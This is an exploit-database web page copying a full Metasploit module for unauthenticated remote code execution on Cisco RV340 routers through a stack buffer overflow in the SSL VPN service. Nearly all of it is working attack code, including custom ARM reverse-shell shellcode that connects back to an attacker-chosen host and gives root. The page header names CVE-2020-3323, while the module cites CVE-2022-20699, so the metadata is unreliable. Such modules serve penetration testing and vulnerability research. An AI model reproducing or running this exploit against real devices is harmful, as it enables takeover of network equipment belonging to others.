Advertisement






Cisco RV340 SSL VPN Unauthenticated Remote Code Execution

CVE Category Price Severity
CVE-2020-3323 CWE-77 $25,000 Critical
Author Risk Exploitation Type Date
Unknown High Remote 2022-05-11
CPE
cpe:cpe:/a:cisco:rv340_router_firmware
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 0.04057 0.95416

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022050044

Below is a copy:

Cisco RV340 SSL VPN Unauthenticated Remote Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cisco RV340 SSL VPN Unauthenticated Remote Code Execution',
        'Description' => %q{
          This module exploits a stack buffer overflow in the Cisco RV series routers SSL VPN
          functionality. The default SSL VPN configuration is exploitable, with no authentication
          required and works over the Internet!
          The stack is executable and no ASLR is in place, which makes exploitation easier.
          Successful execution of this module results in a reverse root shell. A custom payload is
          used as Metasploit does not have ARMLE null free shellcode.
          This vulnerability was presented by the Flashback Team in Pwn2Own Austin 2021 and OffensiveCon
          2022. For more information check the referenced advisory.
          This module has been tested in firmware versions 1.0.03.15 and above and works with around
          65% reliability. The service restarts automatically so you can keep trying until you pwn it.
          Only the RV340 router was tested, but other RV series routers should work out of the box.
        },
        'Author' => [
          'Pedro Ribeiro <[email protected]>', # Vulnerability discovery and Metasploit module
          'Radek Domanski <radek.domanski[at]gmail.com>' # Vulnerability discovery and Metasploit module
        ],
        'License' => MSF_LICENSE,
        'Platform' => 'linux',
        'References' => [
          ['CVE', '2022-20699'],
          ['URL', 'https://www.youtube.com/watch?v=O1uK_b1Tmts'],
          ['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Austin_2021/flashback_connects/flashback_connects.md'],
          ['URL', 'https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Austin2021/flashback_connects/flashback_connects.md'],
          ['URL', 'https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-smb-mult-vuln-KA9PK6D.html'],
        ],
        'Arch' => ARCH_ARMLE,
        # We actually use our own shellcode because Metasploit doesn't have ARM encoders!
        'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/shell_reverse_tcp' },
        'Targets' => [
          [
            'Cisco RV340 Firmware Version <= 1.0.03.24',
            {
              # Shellcode location on stack (rwx stack, seriously Cisco...)
              # The same for all vulnerable firmware versions: 0x704aed98 (+ 1 for thumb)
              #
              # NOTE: this is the shellcode location about 65% of the time. The rest is at
              # The remaining 35% will land at 0x704f6d98, causing this sploit will fail.
              # There's no way to guess it, but the service will restart again, so let's stick
              # with the most common stack address.
              'Shellcode' => "\x99\xed\x4a\x70"
            }
          ],
        ],
        'DisclosureDate' => '2022-02-02',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => CRASH_SERVICE_RESTARTS,
          # repeatable... but only works 65% of the time, see comments above
          'Reliability' => REPEATABLE_SESSION,
          'SideEffects' => nil
        }
      )
    )
    register_options(
      [
        Opt::RPORT(8443),
        OptBool.new('SSL', [true, 'Use SSL', true])
      ]
    )
  end

  def check
    # This should return a string like:
    # "The Cisco AnyConnect VPN Client is required to connect to the SSLVPN server." (plus another phrase)
    res = send_request_cgi({ 'uri' => '/login.html' })
    if res && res.code == 200 && res.body.include?('The Cisco AnyConnect VPN Client is required to connect to the SSLVPN server')
      Exploit::CheckCode::Detected
    else
      Exploit::CheckCode::Unknown
    end
  end

  def hex_to_bin(int)
    hex = int.to_s(16)
    if (hex.length == 1) || (hex.length == 3)
      hex = '0' + hex
    end
    hex.scan(/../).map { |x| x.hex.chr }.join
  end

  def prep_shelly
    # We need to roll our own shellcode, as Metasploit doesn't have encoders for ARMLE.
    # A null free shellcode is needed, as this memory corruption is done through `strcat()`
    #
    # SHELLCODE_START:
    # // Original shellcode from Azeria's blog
    # // Expanded and Improved by the Flashback Team
    # .global _start
    # _start:
    # .THUMB
    # // socket(2, 1, 0)
    # mov   r0, #2
    # mov   r1, #1
    # sub   r2, r2
    # mov   r7, #200
    # add   r7, #81       // r7 = 281 (socket)
    # svc   #1            // r0 = resultant sockfd
    # mov   r4, r0        // save sockfd in r4
    #
    # // connect(r0, &sockaddr, 16)
    # adr   r1, struct    // pointer to address, port
    # strb  r2, [r1, #1]  // write 0 for AF_INET
    # mov   r2, #16
    # add   r7, #2        // r7 = 283 (connect)
    # svc   #1
    #
    # // dup2(sockfd, 0)
    # mov   r7, #63       // r7 = 63 (dup2)
    # mov   r0, r4        // r4 is the saved sockfd
    # sub   r1, r1        // r1 = 0 (stdin)
    # svc   #1
    # // dup2(sockfd, 1)
    # mov   r0, r4        // r4 is the saved sockfd
    # mov   r1, #1        // r1 = 1 (stdout)
    # svc   #1
    # // dup2(sockfd, 2)
    # mov   r0, r4        // r4 is the saved sockfd
    # mov   r1, #2        // r1 = 2 (stderr)
    # svc   #1
    #
    # // execve("/bin/sh", 0, 0)
    # adr   r0, binsh
    # sub   r2, r2
    # sub   r1, r1
    # strb  r2, [r0, #7]
    # push  {r0, r2}
    # mov   r1, sp
    # cpy   r2, r1
    # mov   r7, #11       // r7 = 11 (execve)
    # svc   #1
    #
    # eor  r7, r7, r7
    #
    # struct:
    # .ascii "\x02\xff"   // AF_INET 0xff will be NULLed
    # .ascii "\x11\x5d"   // port number 4445
    # .byte 5,5,5,1       // IP Address
    # binsh:
    # .ascii "/bin/shX"
    # SHELLCODE_END
    #
    # Since we need to be null free, we have a very specific corner case, for addresses:
    #   X.0.Y.Z
    #   X.Y.0.Z
    #   X.Y.Z.0
    #   X.0.0.Y
    #   X.Y.0.0
    #   X.0.Y.0
    #   X.0.0.0
    # These will contain a null byte for the each zero in the address.
    #
    # To fix this we add additional instructions to the shellcode and replace the null byte(s).
    #   adr   r1, struct      // pointer to address, port
    #   strb  r2, [r1, #5]    // write 0 for X.0.Y.Z (second octet)
    #   adr   r1, struct      // pointer to address, port
    #   strb  r2, [r1, #6]    // write 0 for X.Y.0.Z (third octet)
    #   adr   r1, struct      // pointer to address, port
    #   strb  r2, [r1, #7]    // write 0 for X.Y.Z.0 (last octet)
    #

    # The following is used to convert LHOST and LPORT for shellcode inclusion
    lport_h = hex_to_bin(lport)
    lhost_h = ''
    jump = 0xc
    datastore['LHOST'].split('.').each do |n|
      octet = hex_to_bin(n.to_i)
      if octet == "\x00"
        # Why we do this? Check comments below my fren
        jump += 1
      end
      lhost_h += octet
    end
    lhost_h = lhost_h.force_encoding('binary')

    # As part of the shellcode, we need to do:
    #   adr   r1, struct      // pointer to address, port
    #   strb  r2, [r1, #1]    // write 0 for AF_INET
    #
    # In order to do the "adr", we need to know where "struct" is. On an unmodified
    # shellcode, this is "\x0c\xa1\x4a\x70".
    # But if we have one or more null bytes in the LHOST, we need to add more instructions.
    # This means the "\x0c", the distance from $pc to "struct, is going to be either
    # "\x0d, "\x0e" or "\x0f".
    # Long story short, this distance is the jump variable, and we need to calculate it
    # properly the more instructions we add.
    #
    # This is our jump, now calculated with the additional (or not) instructions:
    ins = hex_to_bin(jump) + "\xa1\x4a\x70"
    jump -= 1

    # And now we calculate all the null bytes we have, replace them with \xff and add
    # the proper jump:
    for i in 1..3 do
      next unless lhost_h[i] == "\x00"

      ins_add = ''
      lhost_h[i] = "\xff"
      if i == 1
        # strb  r2, [r1, #5]    // write 0 for X.0.Y.Z (second octet)
        ins_add = "\x4a\x71"
      elsif i == 2
        # strb  r2, [r1, #6]    // write 0 for X.Y.0.Z (third octet)
        ins_add = "\x8a\x71"
      elsif i == 3
        # strb  r2, [r1, #7]    // write 0 for X.Y.Z.0 (last octet)
        ins_add = "\xca\x71"
      end
      ins += hex_to_bin(jump) + "\xa1" + ins_add
      jump -= 1
    end
    ins = ins.force_encoding('binary')

    shellcode = "\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c" + ins +
                "\x10\x22\x02\x37\x01\xdf\x3f\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x21" \
                "\x01\xdf\x20\x1c\x02\x21\x01\xdf\x06\xa0\x92\x1a\x49\x1a\xc2\x71\x05\xb4" \
                "\x69\x46\x0a\x46\x0b\x27\x01\xdf\x7f\x40\x02\xff" + lport_h + lhost_h +
                "\x2f\x62\x69\x6e\x2f\x73\x68\x58"
    shelly = shellcode + rand_text_alphanumeric(16400 - shellcode.length) + target['Shellcode']
    shelly
  end

  def sock_get(app_host, app_port)
    begin
      ctx = { 'Msf' => framework, 'MsfExploit' => self }
      sock = Rex::Socket.create_tcp(
        { 'PeerHost' => app_host, 'PeerPort' => app_port, 'Context' => ctx, 'Timeout' => 10 }
      )
    rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError
      sock.close if sock
    end
    if sock.nil?
      fail_with(Failure::Unknown, 'Failed to connect to the chosen application')
    end

    # also need to add support for old ciphers
    ctx = OpenSSL::SSL::SSLContext.new
    ctx.min_version = OpenSSL::SSL::SSL3_VERSION
    ctx.security_level = 0
    ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
    s = OpenSSL::SSL::SSLSocket.new(sock, ctx)
    s.sync_close = true
    s.connect
    return s
  end

  def exploit
    print_status("#{peer} - Pwning #{target.name}")
    payload = prep_shelly
    begin
      sock = sock_get(rhost, rport)
      # With the base request, our shellcode will be about 0x12a from $sp when we take control.
      #
      # But we noticed that by adding more filler in the request we can have better reliability.
      # So let's use 0x86 as filler and dump the filler in the URL! This number is arbitrary and
      # can be increased / decreased, but we find 0x86 works well.
      # (this means our shellcode address in the target definition above is $sp + 0x12a + 0x86)
      #
      # It would be good to add some valid headers with semi random data for proper evasion :D
      http = 'POST /' + rand_text_alphanumeric(0x86) + " HTTP/1.1\r\nContent-Length: 16404\r\n\r\n"

      sock.write(http)
      sock.write(payload)
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router")
    end
  end
end

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.